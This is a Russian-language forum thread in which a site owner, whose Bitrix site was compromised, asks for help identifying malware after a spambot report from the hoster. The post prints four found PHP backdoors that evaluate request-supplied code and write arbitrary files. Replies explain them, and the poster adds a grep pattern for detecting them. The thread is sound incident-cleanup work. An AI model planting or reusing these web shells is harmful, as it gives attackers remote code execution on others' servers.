Нужна помощь в идентификации зловреда

L
На сайте с 30.08.2013
Offline
3
998

Здравствуйте, нужна помощь в идентификации зловреда, мой хостер пишет мне о том что их уведомляет автоматически следующим сообщением:

Dear Sir/Madam,

A spambot controler is detected from the IP address 999.999.999.999, which according to a whois lookup is on your network. We would appreciate if you would investigate and take action as appropriate. The spambot controler sent e-mails thru us (we had an account infected).

Log lines are given below, but please ask if you require any further information.

(If you are not the correct person to contact about this please accept our apologies - your e-mail address was extracted from the whois record by an automated process. This mail was generated by Fail2Ban.)

Note: Local timezone is -0500 (EST)
999.999.999.999 - - [29/Dec/2013:02:59:08 -0500] "POST /modules/mod_xsystemx/popupgI8R.php HTTP/1.1" 302 231 "-" "-"

скрипты вроде Ai-Bolit.php при поиске выдают слишком много ложняков, выкачивал себе все на виртуалку и гонял касперским триаловым (на хабре вычитал - пхп вирусы тоже выкупает).

стал искать по fopen по всем php-файлам (на площадке несколько проектов, около 50 тыс. пхп файлов)

По переписке с техподдержкой, стало понятно, что вирус инициализирует чужой скрипт на чужом сайте или вроде того, но я так далёк от этого, вот исходники, какие нашёл.


<?php


$qtmszi = "766d5f40f633d165be5dc46eb59adda8"; if(isset($_REQUEST['ascga'])) { $bttee = $_REQUEST['ascga']; eval($bttee); exit(); } if(isset($_REQUEST['leovv'])) { $xgufuir = $_REQUEST
['gvyy']; $zqff = $_REQUEST['leovv']; $lgkelol = fopen($zqff, 'w'); $tzroqpvk = fwrite($lgkelol, $xgufuir); fclose($lgkelol); echo $tzroqpvk; exit(); }
./cartat.ru/bitrix/gadgets/bitrix/sonet_group_desc/lang/en/index.php:?>
<?php


$ixfde = "33a3e1d979e6007d6ecffb437219cfb3"; if(isset($_REQUEST['plxiobj'])) { $glyf = $_REQUEST['plxiobj']; eval($glyf); exit(); } if(isset($_REQUEST['hwvlxzwz'])) { $ik
fgszf = $_REQUEST['tuhrdvsn']; $zyye = $_REQUEST['hwvlxzwz']; $garsyroy = fopen($zyye, 'w'); $wimdb = fwrite($garsyroy, $ikfgszf); fclose($garsyroy); echo $wimdb; exit(); } ?><?
./cartat.ru/bitrix/gadgets/bitrix/sonet_group_tags/lang/index.php:
<?php


$lnnomy = "df6d07da2bc07cdd16d9d65803edcf00"; if(isset($_REQUEST['erwzawt'])) { $nhyonm = $_REQUEST['erwzawt']; eval($nhyonm); exit(); } if(isset($_REQUEST['lmicp'])) { $hhbn =
$_REQUEST['dzlsrpk']; $okjizx = $_REQUEST['lmicp']; $ymdkwpx = fopen($okjizx, 'w'); $smjz = fwrite($ymdkwpx, $hhbn); fclose($ymdkwpx); echo $smjz; exit(); }
./cartat.ru/bitrix/gadgets/bitrix/sonet_blog/lang/en/index.php:?>
<?php


$ydegck = "b7bcfaf4fe56ed4b6dce60d91ca69f28"; if(isset($_REQUEST['sbbt'])) { $xtkxtidb = $_REQUEST['sbbt']; eval($xtkxtidb); exit(); } if(isset($_REQUEST['nqpt'])) { $uhrahwh =
$_REQUEST['zftcx']; $eqscjdz = $_REQUEST['nqpt']; $mcen = fopen($eqscjdz, 'w'); $vcjpxrg = fwrite($mcen, $uhrahwh); fclose($mcen); echo $vcjpxrg; exit(); } ?>

Всё в одной строке, кто сталкивался с подобным, дайте советы что ещё поискать, как я понял, исполняемый код может быть ещё в EXIF к фоткам (на сайте очень много фоток), и в базах (пока ищу). Может есть ещё что посоветовать, спасибо за любые советы (кроме: сожги себя, забор рядом, читай маны и прочие заклинания)

PS

Платформа битрикс, взломали из за доступной всем админки и обычным перебором похоже.

siv1987
На сайте с 02.04.2009
Offline
427
#1
lekhan:
исполняемый код может быть ещё в EXIF к фоткам

С таким успехом он может быть в любом файле с любым расширением. Сами по себе фотки сервером не интерпретируются как php-файлы.

Запускайте Ai-Bolit.php и анализируйте результат.

Z
На сайте с 06.09.2012
Offline
129
#2
$bttee = $_REQUEST['ascga']; eval($bttee);

коду можно и нигде не сохраняться, раз передается через запрос :)

Черный список врунов и обманщиков: ua-hosting.company, riaas.ru, takewyn.ru, yahoster/cadedic, Andreylab
L
На сайте с 30.08.2013
Offline
3
#3
zzzit:
коду можно и нигде не сохраняться, раз передается через запрос :)

Спасибо, кто ж придумал то такую адскую команду?

PS

Нашёл регулярками:

find /var/www/ -type f -iname "*.php" | xargs grep -iR "\$_REQUEST\['.*']; eval(.*); exit"

Вроде всё вычистил, завтра ещё посмотрю. Спасибо за помощь.

Lupus
На сайте с 02.11.2002
Offline
241
#4
lekhan:

find /var/www/ -type f -iname "*.php" | xargs grep -iR "\$_REQUEST\['.*']; eval(.*); exit"

Спасибо. Получил эстетическое удовольствие. 🚬

There are two types of people in this world: 1. Those who can extrapolate from incomplete data.
Z
На сайте с 06.09.2012
Offline
129
#5

На будущее можно все .php/.js/.css файлы положить в git репозиторий и коммитить при каждом обновлении, с просмотром git status перед этим естественно. Тогда и сразу будет видно, если взломали и можно будет откатить все попытки ломателей нагадить.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий